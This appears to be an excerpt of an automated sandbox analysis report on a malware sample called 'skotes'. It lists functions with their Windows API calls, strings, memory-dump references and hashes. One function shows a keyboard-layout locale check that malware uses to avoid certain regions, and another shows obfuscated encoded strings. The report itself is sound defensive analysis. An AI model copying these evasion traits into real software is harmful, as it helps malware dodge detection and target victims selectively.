
Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 007A617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 007A6271

Strings

0000043f, xrefs: 007A612B
00000419, xrefs: 007A6098
00000422, xrefs: 007A60C9
Keyboard Layout\Preload, xrefs: 007A6054
00000423, xrefs: 007A60FA

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 2c95988c933119876c7cef5bb8a6ef2ce33d45d016ddafd6d2c527a6234d3833
Instruction ID: 4508e2423e624fddd28186636d27c07ea0703df0101f5ac4365dbb40751044e6
Opcode Fuzzy Hash: 2c95988c933119876c7cef5bb8a6ef2ce33d45d016ddafd6d2c527a6234d3833
Instruction Fuzzy Hash: 40B1CF71900268DBDB24DB64CC88BDEB779AF05340F5402D8E108E7292DB78AFA8CF55

Function 007A7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007A7ED3

Strings

JjssPV==, xrefs: 007A81E2
JjsrQV==, xrefs: 007A8092
JjsrPl==, xrefs: 007A828A
JjssOl==, xrefs: 007A813A

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: c0fc215bb1d5720dc6593de6e24b0bbd5d737ba2a2939bd6208491f45272de7d
Instruction ID: e5c93446ec8b7f7073a626e189a2d8a23eeb69308a184f867eccf69bb1e7727c
Opcode Fuzzy Hash: c0fc215bb1d5720dc6593de6e24b0bbd5d737ba2a2939bd6208491f45272de7d
Instruction Fuzzy Hash: AAE1C471E00644EBDB58BB288C5B79D7B61BB82720F944398E415AB3C2DB7D4E8187D2

Function 007E1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1775: CreateFileW.KERNEL32(00000000,00000000,?,007E1B65,?,?,00000000,?,007E1B65,00000000,0000000C), ref: 007E1792

__dosmaperr.LIBCMT ref: 007E1BD7
GetFileType.KERNEL32(00000000), ref: 007E1BE3
__dosmaperr.LIBCMT ref: 007E1BF6
__dosmaperr.LIBCMT ref: 007E1D9C

Strings

H, xrefs: 007E1D21

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 60a054a97452578100cad27cf13531a1f73b944b5888e23b99613064dd364c7e
Instruction ID: b7d834846d6207d5cb98779e2a21b3d185a1bd37292bd3fea050a8bb428bebd8
Opcode Fuzzy Hash: 60a054a97452578100cad27cf13531a1f73b944b5888e23b99613064dd364c7e
Instruction Fuzzy Hash: E8A11932A051848FDF19DF68DC52BAD3BB1AF0A324F54419AE811EF391EA399D12C751

Function 007D6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007D6EE6), ref: 007D6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 007D7030
__dosmaperr.LIBCMT ref: 007D70C5

Part of subcall function 007D732A: __dosmaperr.LIBCMT ref: 007D735F

Strings

n}, xrefs: 007D6FCE

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n}
API String ID: 2531987475-838590260
Opcode ID: a6b69536d986e82b886b63b60888d45bbcb6c4a4429b3db890e4f92f709b253d
Instruction ID: bdb25c0c4017914e63e0ae6648ff7ee1af2a12a38fdbb7b41a0969c2ab8ccb53
Opcode Fuzzy Hash: a6b69536d986e82b886b63b60888d45bbcb6c4a4429b3db890e4f92f709b253d
Instruction Fuzzy Hash: 5F414F71904248AFDB28EF75DC459ABBBF9EF89300B10451EF956D3350FA39A901CB61

Function 007E26F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007F6758), ref: 007E275C

Strings

Eastern Standard Time, xrefs: 007E27CB
Eastern Summer Time, xrefs: 007E27FA

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
